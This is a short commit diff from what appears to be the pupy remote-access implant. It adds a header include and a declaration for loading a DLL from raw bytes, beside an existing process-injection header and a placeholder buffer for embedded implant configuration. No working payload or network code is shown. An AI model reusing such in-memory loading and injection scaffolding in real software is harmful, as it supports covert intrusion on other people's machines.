Fix function address search on amd64

This commit is contained in:
Oleksii Shevchuk 2017-04-24 07:37:00 +03:00 committed by Oleksii Shevchuk
parent 1f2d63e4c7
commit f732a64edb
1 changed files with 3 additions and 0 deletions

View File

@ -6,9 +6,12 @@
#include "Python-dynload.h" #include "Python-dynload.h"
#include <stdio.h> #include <stdio.h>
#include <windows.h> #include <windows.h>
#include "MyLoadLibrary.h"
#include "base_inject.h" #include "base_inject.h"
static char module_doc[] = "Builtins utilities for pupy"; static char module_doc[] = "Builtins utilities for pupy";
HMODULE _load_dll(const char *name, const char *bytes);
char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup. scriptlets also takes more space ! char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup. scriptlets also takes more space !
extern const DWORD dwPupyArch; extern const DWORD dwPupyArch;